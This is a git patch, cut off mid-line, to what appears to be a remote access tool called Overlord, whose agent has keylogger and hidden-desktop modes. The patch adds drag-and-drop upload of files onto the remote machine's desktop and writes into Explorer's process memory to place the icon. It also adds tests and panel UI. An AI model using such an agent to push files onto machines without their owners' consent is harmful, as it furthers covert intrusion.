From f2aae8179225a7f0c9c207338d7abe55d5458cb4 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Mon, 3 Aug 2026 23:29:16 -0500 Subject: [PATCH] test --- .../cmd/agent/capture/shell_drop_stub.go | 11 + .../cmd/agent/capture/shell_drop_windows.go | 183 +++++++++++++ Overlord-Client/cmd/agent/handlers/command.go | 14 + .../cmd/agent/handlers/desktop_drop_stub.go | 5 + .../agent/handlers/desktop_drop_windows.go | 142 ++++++++++ Overlord-Client/cmd/agent/handlers/files.go | 84 ++++++ .../cmd/agent/handlers/files_test.go | 83 ++++++ .../cmd/agent/wire/wire_contract_generated.go | 3 + .../cmd/agent/wire/wire_contract_test.go | 5 +- .../public/assets/remotedesktop.js | 250 ++++++++++++++++++ Overlord-Server/public/remotedesktop.html | 88 +++++- .../src/generated/wire-contract.ts | 5 + Overlord-Server/src/protocol-contract.test.ts | 3 +- .../src/server/file-browser-security.test.ts | 15 ++ .../src/server/file-browser-security.ts | 11 + .../server/ws-file-process-proxy-keylogger.ts | 30 +++ protocol/wire-contract.json | 1 + 17 files changed, 930 insertions(+), 3 deletions(-) create mode 100644 Overlord-Client/cmd/agent/capture/shell_drop_stub.go create mode 100644 Overlord-Client/cmd/agent/capture/shell_drop_windows.go create mode 100644 Overlord-Client/cmd/agent/handlers/desktop_drop_stub.go create mode 100644 Overlord-Client/cmd/agent/handlers/desktop_drop_windows.go diff --git a/Overlord-Client/cmd/agent/capture/shell_drop_stub.go b/Overlord-Client/cmd/agent/capture/shell_drop_stub.go new file mode 100644 index 0000000..490498f --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/shell_drop_stub.go @@ -0,0 +1,11 @@ +//go:build !windows + +package capture + +type ShellDropHit struct { + Directory string + ItemName string + Desktop bool +} + +func ResolveShellDropHit(x, y int32) ShellDropHit { return ShellDropHit{} } diff --git a/Overlord-Client/cmd/agent/capture/shell_drop_windows.go b/Overlord-Client/cmd/agent/capture/shell_drop_windows.go new file mode 100644 index 0000000..6c69048 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/shell_drop_windows.go @@ -0,0 +1,183 @@ +//go:build windows + +package capture + +import ( + "net/url" + "os" + "path/filepath" + "runtime" + "strings" + "time" + "unsafe" +) + +type ShellDropHit struct { + Directory string + ItemName string + Desktop bool +} + +func ResolveShellDropHit(x, y int32) ShellDropHit { + result := make(chan ShellDropHit, 1) + go func() { + runtime.LockOSThread() + defer runtime.UnlockOSThread() + + out := ShellDropHit{} + hr, _, _ := procCoInitializeEx.Call(0, COINIT_MULTITHREADED) + if hr != 0 && hr != 1 { + result <- out + return + } + defer procCoUninitialize.Call() + + var automation *iuiAutomation + hr, _, _ = procCoCreateInstance.Call( + uintptr(unsafe.Pointer(&CLSID_CUIAutomation)), 0, CLSCTX_INPROC_SERVER, + uintptr(unsafe.Pointer(&IID_IUIAutomation)), uintptr(unsafe.Pointer(&automation)), + ) + if hr != S_OK || automation == nil { + result <- out + return + } + defer automation.Release() + walker := automation.GetControlViewWalker() + if walker == nil { + result <- out + return + } + defer walker.Release() + + elem := automation.ElementFromPoint(point{x: x, y: y}) + if elem == nil { + result <- out + return + } + out.ItemName = strings.TrimSpace(elem.GetCurrentName()) + sawCabinet := false + sawShellList := false + for current, depth := elem, 0; current != nil && depth < 32; depth++ { + className := current.GetCurrentClassName() + if className == "CabinetWClass" { + sawCabinet = true + out.Directory = explorerDirectoryFromUIA(walker, current) + } + if className == "SysListView32" || className == "SHELLDLL_DefView" { + sawShellList = true + } + parent := walker.GetParentElement(current) + current.Release() + current = parent + } + if sawCabinet { + out.Desktop = false + } else if sawShellList { + out.Desktop = true + if home, err := os.UserHomeDir(); err == nil { + out.Directory = filepath.Join(home, "Desktop") + } + } + result <- out + }() + select { + case hit := <-result: + return hit + case <-time.After(4 * time.Second): + return ShellDropHit{} + } +} + +func explorerDirectoryFromUIA(walker *iuiAutomationTreeWalker, root *iuiAutomationElement) string { + visited := 0 + var walk func(*iuiAutomationElement) string + walk = func(parent *iuiAutomationElement) string { + for child := shellDropFirstChild(walker, parent); child != nil && visited < 2500; { + visited++ + next := shellDropNextSibling(walker, child) + name := strings.TrimSpace(child.GetCurrentName()) + if strings.HasPrefix(strings.ToLower(name), "address:") { + candidate := shellDirectoryCandidate(name) + if candidate == "" { + // Continue into the element; localized or virtual shell paths + // may not be filesystem destinations. + } else { + child.Release() + if next != nil { + next.Release() + } + return candidate + } + } + if pattern := child.GetCurrentPattern(uiaValuePatternID); pattern != nil { + valuePattern := (*iuiAutomationValuePattern)(unsafe.Pointer(pattern)) + candidate := shellDirectoryCandidate(valuePattern.GetCurrentValue()) + valuePattern.Release() + if candidate != "" { + child.Release() + if next != nil { + next.Release() + } + return candidate + } + } + if candidate := walk(child); candidate != "" { + child.Release() + if next != nil { + next.Release() + } + return candidate + } + child.Release() + child = next + } + return "" + } + return walk(root) +} + +func shellDropFirstChild(walker *iuiAutomationTreeWalker, elem *iuiAutomationElement) *iuiAutomationElement { + var child *iuiAutomationElement + hr := callSyscallN(walker.lpVtbl.GetFirstChildElement, + uintptr(unsafe.Pointer(walker)), + uintptr(unsafe.Pointer(elem)), + uintptr(unsafe.Pointer(&child)), + ) + if hr != S_OK || child == nil { + return nil + } + return child +} + +func shellDropNextSibling(walker *iuiAutomationTreeWalker, elem *iuiAutomationElement) *iuiAutomationElement { + var sibling *iuiAutomationElement + hr := callSyscallN(walker.lpVtbl.GetNextSiblingElement, + uintptr(unsafe.Pointer(walker)), + uintptr(unsafe.Pointer(elem)), + uintptr(unsafe.Pointer(&sibling)), + ) + if hr != S_OK || sibling == nil { + return nil + } + return sibling +} + +func shellDirectoryCandidate(value string) string { + value = strings.TrimSpace(strings.TrimPrefix(strings.TrimSpace(value), "Address:")) + if strings.HasPrefix(strings.ToLower(value), "file:") { + if parsed, err := url.Parse(value); err == nil { + value = parsed.Path + if len(value) >= 3 && value[0] == '/' && value[2] == ':' { + value = value[1:] + } + value, _ = url.PathUnescape(value) + } + } + if !filepath.IsAbs(value) { + return "" + } + if info, err := os.Stat(value); err == nil && info.IsDir() { + return filepath.Clean(value) + } + return "" +} diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 25cc3e4..4253b7c 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -2689,6 +2689,20 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sourceURL, _ := payload["url"].(string) total := payloadNumberToInt64(payload["total"]) return HandleFileUploadHTTP(ctx, env, cmdID, path, sourceURL, total) + case "file_upload_desktop": + payload, _ := envelope["payload"].(map[string]interface{}) + fileName, _ := payload["fileName"].(string) + sourceURL, _ := payload["url"].(string) + total := payloadNumberToInt64(payload["total"]) + _, hasX := payload["x"] + _, hasY := payload["y"] + x := int32(payloadNumberToInt64(payload["x"])) + y := int32(payloadNumberToInt64(payload["y"])) + display := env.SelectedDisplay + if _, ok := payload["display"]; ok { + display = int(payloadNumberToInt64(payload["display"])) + } + return HandleFileUploadDesktop(ctx, env, cmdID, fileName, sourceURL, total, display, x, y, hasX && hasY) case "file_delete": path, _ := envelopePayloadString(envelope, "path") return HandleFileDelete(ctx, env, cmdID, path) diff --git a/Overlord-Client/cmd/agent/handlers/desktop_drop_stub.go b/Overlord-Client/cmd/agent/handlers/desktop_drop_stub.go new file mode 100644 index 0000000..4706bd2 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/desktop_drop_stub.go @@ -0,0 +1,5 @@ +//go:build !windows + +package handlers + +func positionDesktopUpload(fileName string, x, y int32) {} diff --git a/Overlord-Client/cmd/agent/handlers/desktop_drop_windows.go b/Overlord-Client/cmd/agent/handlers/desktop_drop_windows.go new file mode 100644 index 0000000..d9030ad --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/desktop_drop_windows.go @@ -0,0 +1,142 @@ +//go:build windows + +package handlers + +import ( + "path/filepath" + "strings" + "syscall" + "time" + "unsafe" + + "golang.org/x/sys/windows" +) + +var ( + ddUser32 = windows.NewLazySystemDLL("user32.dll") + ddKernel32 = windows.NewLazySystemDLL("kernel32.dll") + ddFindWindowW = ddUser32.NewProc("FindWindowW") + ddFindWindowExW = ddUser32.NewProc("FindWindowExW") + ddSendMessageW = ddUser32.NewProc("SendMessageW") + ddScreenToClient = ddUser32.NewProc("ScreenToClient") + ddGetWindowThreadProcessID = ddUser32.NewProc("GetWindowThreadProcessId") + ddOpenProcess = ddKernel32.NewProc("OpenProcess") + ddVirtualAllocEx = ddKernel32.NewProc("VirtualAllocEx") + ddVirtualFreeEx = ddKernel32.NewProc("VirtualFreeEx") + ddWriteProcessMemory = ddKernel32.NewProc("WriteProcessMemory") + ddReadProcessMemory = ddKernel32.NewProc("ReadProcessMemory") +) + +const ( + ddProcessVMOperation = 0x0008 + ddProcessVMRead = 0x0010 + ddProcessVMWrite = 0x0020 + ddProcessQueryInfo = 0x0400 + ddMemCommit = 0x1000 + ddMemReserve = 0x2000 + ddMemRelease = 0x8000 + ddPageReadWrite = 0x04 + ddLVMGetItemCount = 0x1004 + ddLVMSetItemPosition = 0x100f + ddLVMGetItemTextW = 0x1073 +) + +type desktopDropPoint struct{ X, Y int32 } + +type desktopDropLVItem struct { + Mask uint32 + IItem int32 + ISubItem int32 + State uint32 + StateMask uint32 + PszText uintptr + CchTextMax int32 + IImage int32 + LParam uintptr +} + +func positionDesktopUpload(fileName string, x, y int32) { + listView := desktopListView() + if listView == 0 { + return + } + point := desktopDropPoint{X: x, Y: y} + ddScreenToClient.Call(listView, uintptr(unsafe.Pointer(&point))) + + // Explorer may need a moment to observe the newly created file. + for attempt := 0; attempt < 20; attempt++ { + if index := desktopListViewItemIndex(listView, fileName); index >= 0 { + packed := uintptr(uint32(uint16(point.X)) | uint32(uint16(point.Y))<<16) + ddSendMessageW.Call(listView, ddLVMSetItemPosition, uintptr(index), packed) + return + } + time.Sleep(100 * time.Millisecond) + } +} + +func desktopListView() uintptr { + progman, _, _ := ddFindWindowW.Call(uintptr(unsafe.Pointer(mustUTF16Ptr("Progman"))), 0) + if view := findShellDefView(progman); view != 0 { + list, _, _ := ddFindWindowExW.Call(view, 0, uintptr(unsafe.Pointer(mustUTF16Ptr("SysListView32"))), 0) + return list + } + var after uintptr + for { + worker, _, _ := ddFindWindowExW.Call(0, after, uintptr(unsafe.Pointer(mustUTF16Ptr("WorkerW"))), 0) + if worker == 0 { + return 0 + } + if view := findShellDefView(worker); view != 0 { + list, _, _ := ddFindWindowExW.Call(view, 0, uintptr(unsafe.Pointer(mustUTF16Ptr("SysListView32"))), 0) + return list + } + after = worker + } +} + +func findShellDefView(parent uintptr) uintptr { + if parent == 0 { + return 0 + } + view, _, _ := ddFindWindowExW.Call(parent, 0, uintptr(unsafe.Pointer(mustUTF16Ptr("SHELLDLL_DefView"))), 0) + return view +} + +func desktopListViewItemIndex(listView uintptr, fileName string) int32 { + var pid uint32 + ddGetWindowThreadProcessID.Call(listView, uintptr(unsafe.Pointer(&pid))) + process, _, _ := ddOpenProcess.Call(ddProcessVMOperation|ddProcessVMRead|ddProcessVMWrite|ddProcessQueryInfo, 0, uintptr(pid)) + if process == 0 { + return -1 + } + defer windows.CloseHandle(windows.Handle(process)) + + const textChars = 520 + itemSize := unsafe.Sizeof(desktopDropLVItem{}) + remote, _, _ := ddVirtualAllocEx.Call(process, 0, itemSize+textChars*2, ddMemCommit|ddMemReserve, ddPageReadWrite) + if remote == 0 { + return -1 + } + defer ddVirtualFreeEx.Call(process, remote, 0, ddMemRelease) + item := desktopDropLVItem{ISubItem: 0, PszText: remote + itemSize, CchTextMax: textChars} + ddWriteProcessMemory.Call(process, remote, uintptr(unsafe.Pointer(&item)), itemSize, 0) + + count, _, _ := ddSendMessageW.Call(listView, ddLVMGetItemCount, 0, 0) + want := strings.EqualFold + stem := strings.TrimSuffix(fileName, filepath.Ext(fileName)) + buf := make([]uint16, textChars) + for index := int32(0); index < int32(count); index++ { + ddSendMessageW.Call(listView, ddLVMGetItemTextW, uintptr(index), remote) + ddReadProcessMemory.Call(process, remote+itemSize, uintptr(unsafe.Pointer(&buf[0])), textChars*2, 0) + name := syscall.UTF16ToString(buf) + if want(name, fileName) || (stem != "" && want(name, stem)) { + return index + } + } + return -1 +} + +func mustUTF16Ptr(value string) *uint16 { + pointer, _ := windows.UTF16PtrFromString(value) + return pointer +} diff --git a/Overlord-Client/cmd/agent/handlers/files.go b/Overlord-Client/cmd/agent/handlers/files.go index d3f428b..a65fdcf 100644 --- a/Overlord-Client/cmd/agent/handlers/files.go +++ b/Overlord-Client/cmd/agent/handlers/files.go @@ -26,6 +26,7 @@ import ( "time" "unicode/utf8" + "overlord-client/cmd/agent/capture" agentRuntime "overlord-client/cmd/agent/runtime" agentTLS "overlord-client/cmd/agent/tlsconfig" "overlord-client/cmd/agent/wire" @@ -948,6 +949,89 @@ func HandleFileUploadHTTP(ctx context.Context, env *agentRuntime.Env, cmdID stri return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) } +func desktopUploadPath(fileName string) (string, error) { + fileName = strings.TrimSpace(fileName) + if fileName == "" || fileName == "." || fileName == ".." || filepath.Base(fileName) != fileName || strings.ContainsAny(fileName, `/\\`) { + return "", errors.New("invalid desktop upload filename") + } + if strings.IndexFunc(fileName, func(r rune) bool { return r < 0x20 || r == 0x7f }) >= 0 { + return "", errors.New("invalid desktop upload filename") + } + homeDir, err := os.UserHomeDir() + if err != nil || strings.TrimSpace(homeDir) == "" { + return "", errors.New("unable to resolve the current user's home directory") + } + return filepath.Join(homeDir, "Desktop", fileName), nil +} + +func desktopUploadTarget(fileName string, display int, x, y int32, hasDropPoint bool) (string, bool, int32, int32, error) { + destPath, err := desktopUploadPath(fileName) + if err != nil { + return "", false, 0, 0, err + } + if !hasDropPoint { + return destPath, false, 0, 0, nil + } + absX, absY := resolveDesktopPoint(display, x, y) + hit := capture.ResolveShellDropHit(absX, absY) + resolved, placeOnDesktop := desktopUploadTargetFromHit(destPath, fileName, hit) + return resolved, placeOnDesktop, absX, absY, nil +} + +func desktopUploadTargetFromHit(destPath, fileName string, hit capture.ShellDropHit) (string, bool) { + directory := strings.TrimSpace(hit.Directory) + if directory == "" { + return destPath, hit.Desktop + } + if hit.ItemName != "" { + hovered := filepath.Join(directory, hit.ItemName) + if info, statErr := os.Stat(hovered); statErr == nil && info.IsDir() { + directory = hovered + } + } + return filepath.Join(directory, fileName), hit.Desktop && directory == filepath.Dir(destPath) +} + +func HandleFileUploadDesktop(ctx context.Context, env *agentRuntime.Env, cmdID string, fileName string, sourceURL string, expectedSize int64, display int, x, y int32, hasDropPoint bool) error { + if remoteDesktopDropBlocked(env) { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: "remote desktop file drop is unavailable while backstage mode is active", + }) + } + destPath, placeOnDesktop, absX, absY, err := desktopUploadTarget(fileName, display, x, y, hasDropPoint) + if err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) + } + before, _ := os.Stat(destPath) + resultErr := HandleFileUploadHTTP(ctx, env, cmdID, destPath, sourceURL, expectedSize) + if placeOnDesktop { + after, statErr := os.Stat(destPath) + if statErr == nil && (before == nil || after.ModTime() != before.ModTime() || after.Size() != before.Size()) { + positionDesktopUpload(fileName, absX, absY) + } + } + return resultErr +} + +func remoteDesktopDropBlocked(env *agentRuntime.Env) bool { + if env == nil { + return false + } + env.BackstageMu.Lock() + backstageActive := env.BackstageCancel != nil + env.BackstageMu.Unlock() + if backstageActive { + return true + } + env.VirtualMu.Lock() + virtualBackstageActive := env.VirtualCancel != nil + env.VirtualMu.Unlock() + return virtualBackstageActive +} + func sleepBackoff(ctx context.Context, d time.Duration) { t := time.NewTimer(d) defer t.Stop() diff --git a/Overlord-Client/cmd/agent/handlers/files_test.go b/Overlord-Client/cmd/agent/handlers/files_test.go index 4b81461..8dd6a92 100644 --- a/Overlord-Client/cmd/agent/handlers/files_test.go +++ b/Overlord-Client/cmd/agent/handlers/files_test.go @@ -11,6 +11,7 @@ import ( "strings" "testing" + "overlord-client/cmd/agent/capture" "overlord-client/cmd/agent/config" rt "overlord-client/cmd/agent/runtime" "overlord-client/cmd/agent/wire" @@ -523,6 +524,88 @@ func TestHandleFileUploadHTTP(t *testing.T) { } } +func TestDesktopUploadPath(t *testing.T) { + homeDir, err := os.UserHomeDir() + if err != nil { + t.Fatalf("resolve home directory: %v", err) + } + got, err := desktopUploadPath("report.pdf") + if err != nil { + t.Fatalf("desktopUploadPath failed: %v", err) + } + want := filepath.Join(homeDir, "Desktop", "report.pdf") + if got != want { + t.Fatalf("desktop upload path = %q, want %q", got, want) + } + for _, invalid := range []string{"", ".", "..", "../report.pdf", `folder\\report.pdf`, "bad\x00name"} { + if _, err := desktopUploadPath(invalid); err == nil { + t.Fatalf("desktopUploadPath(%q) should fail", invalid) + } + } +} + +func TestDesktopUploadTargetFromHitUsesHoveredFolder(t *testing.T) { + base := t.TempDir() + hovered := filepath.Join(base, "Reports") + if err := os.Mkdir(hovered, 0o755); err != nil { + t.Fatal(err) + } + fallback := filepath.Join(base, "Desktop", "report.pdf") + + got, place := desktopUploadTargetFromHit(fallback, "report.pdf", capture.ShellDropHit{ + Directory: base, + ItemName: "Reports", + }) + if got != filepath.Join(hovered, "report.pdf") || place { + t.Fatalf("desktopUploadTargetFromHit() = %q, %v", got, place) + } +} + +func TestDesktopUploadTargetFromHitPositionsDesktopBackground(t *testing.T) { + desktop := t.TempDir() + fallback := filepath.Join(desktop, "report.pdf") + got, place := desktopUploadTargetFromHit(fallback, "report.pdf", capture.ShellDropHit{ + Directory: desktop, + Desktop: true, + }) + if got != fallback || !place { + t.Fatalf("desktopUploadTargetFromHit() = %q, %v", got, place) + } +} + +func TestHandleFileUploadDesktopRejectsBackstageModes(t *testing.T) { + for _, test := range []struct { + name string + activate func(*rt.Env) + }{ + {name: "hidden desktop", activate: func(env *rt.Env) { + _, env.BackstageCancel = context.WithCancel(context.Background()) + }}, + {name: "virtual backstage", activate: func(env *rt.Env) { + _, env.VirtualCancel = context.WithCancel(context.Background()) + }}, + } { + t.Run(test.name, func(t *testing.T) { + writer := &testWriter{} + env := &rt.Env{Conn: writer} + test.activate(env) + if err := HandleFileUploadDesktop(context.Background(), env, "blocked-drop", "report.pdf", "/unused", 10, 0, 10, 10, true); err != nil { + t.Fatalf("HandleFileUploadDesktop failed: %v", err) + } + if len(writer.msgs) != 1 { + t.Fatalf("expected one rejection result, got %d", len(writer.msgs)) + } + var result wire.CommandResult + if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil { + t.Fatal(err) + } + if result.OK || !strings.Contains(result.Message, "backstage mode") { + t.Fatalf("unexpected result: %+v", result) + } + }) + } +} + func TestHandleFileUploadHTTP_RewritesUploadPullURLToAgentServer(t *testing.T) { data := []byte("wan-origin-upload-payload") var gotHost string diff --git a/Overlord-Client/cmd/agent/wire/wire_contract_generated.go b/Overlord-Client/cmd/agent/wire/wire_contract_generated.go index 18afd1b..6bb30a5 100644 --- a/Overlord-Client/cmd/agent/wire/wire_contract_generated.go +++ b/Overlord-Client/cmd/agent/wire/wire_contract_generated.go @@ -151,6 +151,7 @@ const ( CommandFileSearch CommandType = "file_search" CommandFileThumb CommandType = "file_thumb" CommandFileUpload CommandType = "file_upload" + CommandFileUploadDesktop CommandType = "file_upload_desktop" CommandFileUploadHttp CommandType = "file_upload_http" CommandFileWrite CommandType = "file_write" CommandFileZip CommandType = "file_zip" @@ -361,6 +362,7 @@ var CommandTypes = [...]CommandType{ CommandFileSearch, CommandFileThumb, CommandFileUpload, + CommandFileUploadDesktop, CommandFileUploadHttp, CommandFileWrite, CommandFileZip, @@ -511,6 +513,7 @@ var CommandVersionSupport = map[CommandType]CommandVersionRange{ CommandFileSearch: {Min: 1, Max: 1}, CommandFileThumb: {Min: 1, Max: 1}, CommandFileUpload: {Min: 1, Max: 1}, + CommandFileUploadDesktop: {Min: 1, Max: 1}, CommandFileUploadHttp: {Min: 1, Max: 1}, CommandFileWrite: {Min: 1, Max: 1}, CommandFileZip: {Min: 1, Max: 1}, diff --git a/Overlord-Client/cmd/agent/wire/wire_contract_test.go b/Overlord-Client/cmd/agent/wire/wire_contract_test.go index 3065c60..c8bf93f 100644 --- a/Overlord-Client/cmd/agent/wire/wire_contract_test.go +++ b/Overlord-Client/cmd/agent/wire/wire_contract_test.go @@ -6,7 +6,7 @@ func TestGeneratedWireContract(t *testing.T) { if WireProtocolVersion != 1 { t.Fatalf("unexpected wire protocol version: %d", WireProtocolVersion) } - if len(CommandTypes) != 142 { + if len(CommandTypes) != 143 { t.Fatalf("unexpected command count: %d", len(CommandTypes)) } if len(CommandVersionSupport) != len(CommandTypes) { @@ -33,6 +33,9 @@ func TestGeneratedWireContract(t *testing.T) { if !IsCommandType("virtual_window_list") { t.Fatal("virtual_window_list must be a known command") } + if !IsCommandType("file_upload_desktop") { + t.Fatal("file_upload_desktop must be a known command") + } if IsCommandType("not_a_command") { t.Fatal("unknown command was accepted") } diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index 2cce2a0..fb0adc9 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -80,6 +80,13 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s const canvas = document.getElementById("frameCanvas"); const canvasContainer = document.getElementById("canvasContainer"); const renderSurface = document.getElementById("renderSurface"); + const rdFileDropOverlay = document.getElementById("rdFileDropOverlay"); + const rdFileDragGhost = document.getElementById("rdFileDragGhost"); + const rdFileDragLabel = document.getElementById("rdFileDragLabel"); + const rdUploadStatus = document.getElementById("rdUploadStatus"); + const rdUploadStatusIcon = document.getElementById("rdUploadStatusIcon"); + const rdUploadStatusText = document.getElementById("rdUploadStatusText"); + const rdUploadProgressBar = document.getElementById("rdUploadProgressBar"); const remoteCursor = document.getElementById("remoteCursor"); const remoteCursorImage = document.getElementById("remoteCursorImage"); const ctx = canvas.getContext("2d"); @@ -222,6 +229,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s let elevationPending = false; let clientOs = ""; let clientIsAdmin = false; + let desktopFileUploadSupported = true; let firewallWarningAcked = false; let firstFrameLogged = false; @@ -538,6 +546,242 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s }; } + let fileTransferWs = null; + let fileTransferConnectPromise = null; + const pendingDesktopUploads = new Map(); + let desktopUploadHideTimer = null; + + function hasDraggedFiles(event) { + return Array.from(event.dataTransfer?.types || []).includes("Files"); + } + + function draggedFileLabel(dataTransfer) { + const files = Array.from(dataTransfer?.files || []); + if (files.length === 1) return files[0].name; + if (files.length > 1) return `${files.length} files`; + const count = Array.from(dataTransfer?.items || []).filter((item) => item.kind === "file").length; + return count === 1 ? "Copy file" : (count > 1 ? `Copy ${count} files` : "Copy files"); + } + + function setDesktopFileDragUi(active, event) { + if (!rdFileDropOverlay) return; + rdFileDropOverlay.hidden = !active; + rdFileDropOverlay.setAttribute("aria-hidden", active ? "false" : "true"); + if (!active || !event || !rdFileDragGhost || !renderSurface) return; + if (rdFileDragLabel) rdFileDragLabel.textContent = draggedFileLabel(event.dataTransfer); + const rect = renderSurface.getBoundingClientRect(); + const x = Math.max(0, Math.min(rect.width - 40, event.clientX - rect.left)); + const y = Math.max(0, Math.min(rect.height - 40, event.clientY - rect.top)); + rdFileDragGhost.style.left = `${x}px`; + rdFileDragGhost.style.top = `${y}px`; + } + + function showDesktopUploadStatus(text, progress, state = "uploading") { + if (!rdUploadStatus) return; + if (desktopUploadHideTimer) { + clearTimeout(desktopUploadHideTimer); + desktopUploadHideTimer = null; + } + rdUploadStatus.hidden = false; + if (rdUploadStatusText) rdUploadStatusText.textContent = text; + if (rdUploadProgressBar) { + rdUploadProgressBar.style.width = `${Math.max(0, Math.min(100, progress))}%`; + rdUploadProgressBar.style.background = state === "error" ? "#fb7185" : (state === "success" ? "#34d399" : "#38bdf8"); + } + if (rdUploadStatusIcon) { + rdUploadStatusIcon.className = state === "error" + ? "fa-solid fa-circle-exclamation" + : (state === "success" ? "fa-solid fa-circle-check" : "fa-solid fa-cloud-arrow-up"); + rdUploadStatusIcon.style.color = state === "error" ? "#fb7185" : (state === "success" ? "#34d399" : "#38bdf8"); + } + if (state !== "uploading") { + desktopUploadHideTimer = setTimeout(() => { rdUploadStatus.hidden = true; }, state === "success" ? 3500 : 6500); + } + } + + function rejectPendingDesktopUploads(error) { + for (const pending of pendingDesktopUploads.values()) { + clearTimeout(pending.timeout); + pending.reject(error); + } + pendingDesktopUploads.clear(); + } + + function handleFileTransferMessage(event) { + const msg = decodeMsgpack(event.data); + if (!msg) return; + if (msg.type === "command_error") { + rejectPendingDesktopUploads(new Error(msg.error || "Remote file transfer was rejected")); + return; + } + if (msg.type !== "command_result" || typeof msg.commandId !== "string") return; + const pending = pendingDesktopUploads.get(msg.commandId); + if (!pending) return; + pendingDesktopUploads.delete(msg.commandId); + clearTimeout(pending.timeout); + if (msg.ok) pending.resolve(msg); + else pending.reject(new Error(msg.message || "Remote file transfer failed")); + } + + function ensureFileTransferSocket() { + if (fileTransferWs?.readyState === WebSocket.OPEN) return Promise.resolve(fileTransferWs); + if (fileTransferConnectPromise) return fileTransferConnectPromise; + + fileTransferConnectPromise = new Promise((resolve, reject) => { + const protocol = location.protocol === "https:" ? "wss:" : "ws:"; + const socket = new WebSocket(`${protocol}//${location.host}/api/clients/${encodeURIComponent(clientId)}/files/ws`); + socket.binaryType = "arraybuffer"; + const timeout = setTimeout(() => { + try { socket.close(); } catch {} + reject(new Error("File transfer connection timed out")); + }, 10_000); + socket.addEventListener("open", () => { + clearTimeout(timeout); + fileTransferWs = socket; + resolve(socket); + }, { once: true }); + socket.addEventListener("message", handleFileTransferMessage); + socket.addEventListener("error", () => { + if (socket.readyState !== WebSocket.OPEN) { + clearTimeout(timeout); + reject(new Error("File upload permission is unavailable")); + } + }); + socket.addEventListener("close", () => { + clearTimeout(timeout); + if (fileTransferWs === socket) fileTransferWs = null; + rejectPendingDesktopUploads(new Error("File transfer connection closed")); + }); + }).finally(() => { + fileTransferConnectPromise = null; + }); + return fileTransferConnectPromise; + } + + function waitForDesktopUpload(commandId) { + return new Promise((resolve, reject) => { + const timeout = setTimeout(() => { + pendingDesktopUploads.delete(commandId); + reject(new Error("Timed out waiting for the remote file transfer")); + }, 30 * 60 * 1000); + pendingDesktopUploads.set(commandId, { resolve, reject, timeout }); + }); + } + + async function stageDesktopUpload(file, progressBase, progressSpan) { + const request = await fetch("/api/file/upload/request", { + method: "POST", + headers: { "Content-Type": "application/json" }, + credentials: "include", + body: JSON.stringify({ clientId, path: file.name, fileName: file.name }), + }); + if (!request.ok) throw new Error((await request.text()) || "Upload request failed"); + const intent = await request.json(); + if (!intent?.uploadUrl) throw new Error("Upload request did not return a staging URL"); + + return new Promise((resolve, reject) => { + const xhr = new XMLHttpRequest(); + xhr.open("POST", intent.uploadUrl, true); + xhr.withCredentials = true; + xhr.responseType = "text"; + xhr.timeout = 30 * 60 * 1000; + xhr.setRequestHeader("Content-Type", "application/octet-stream"); + xhr.upload.onprogress = (uploadEvent) => { + const total = uploadEvent.total || file.size || 1; + const ratio = Math.max(0, Math.min(1, uploadEvent.loaded / total)); + showDesktopUploadStatus(`Copying ${file.name} to the remote target…`, progressBase + ratio * progressSpan); + }; + xhr.onerror = () => reject(new Error("Upload staging failed")); + xhr.ontimeout = () => reject(new Error("Upload staging timed out")); + xhr.onload = () => { + if (xhr.status < 200 || xhr.status >= 300) { + reject(new Error(xhr.responseText || "Upload staging failed")); + return; + } + try { + const staged = xhr.responseText ? JSON.parse(xhr.responseText) : {}; + if (!staged.pullUrl) throw new Error("Upload staging did not return a pull URL"); + resolve(staged); + } catch (error) { + reject(error); + } + }; + xhr.send(file); + }); + } + + async function uploadFilesToRemoteDesktop(files, dropPoint) { + if (!desktopFileUploadSupported) { + throw new Error("Update the remote agent to enable integrated desktop file drop"); + } + const socket = await ensureFileTransferSocket(); + const totalFiles = files.length; + for (let index = 0; index < totalFiles; index += 1) { + const file = files[index]; + const fileBase = (index / totalFiles) * 100; + const fileSpan = 100 / totalFiles; + showDesktopUploadStatus(`Preparing ${file.name}…`, fileBase); + const staged = await stageDesktopUpload(file, fileBase, fileSpan * 0.72); + const commandId = `rd-desktop-upload-${Date.now()}-${index}-${Math.random().toString(36).slice(2)}`; + const completed = waitForDesktopUpload(commandId); + socket.send(encodeMsgpack({ + type: "command", + commandType: "file_upload_desktop", + id: commandId, + payload: { + fileName: file.name, + url: staged.pullUrl, + total: file.size, + display: Number(displaySelect?.value || 0), + x: dropPoint.x + index * 18, + y: dropPoint.y + index * 18, + }, + })); + showDesktopUploadStatus(`Dropping ${file.name} at the remote pointer…`, fileBase + fileSpan * 0.78); + await completed; + showDesktopUploadStatus(`Copied ${file.name} to the remote target`, fileBase + fileSpan); + } + showDesktopUploadStatus(`${totalFiles} file${totalFiles === 1 ? "" : "s"} copied to the remote target`, 100, "success"); + } + + function setupRemoteDesktopFileDrop() { + if (!renderSurface) return; + renderSurface.addEventListener("dragenter", (event) => { + if (!hasDraggedFiles(event)) return; + event.preventDefault(); + if (event.dataTransfer) event.dataTransfer.dropEffect = "copy"; + setDesktopFileDragUi(true, event); + }); + renderSurface.addEventListener("dragover", (event) => { + if (!hasDraggedFiles(event)) return; + event.preventDefault(); + if 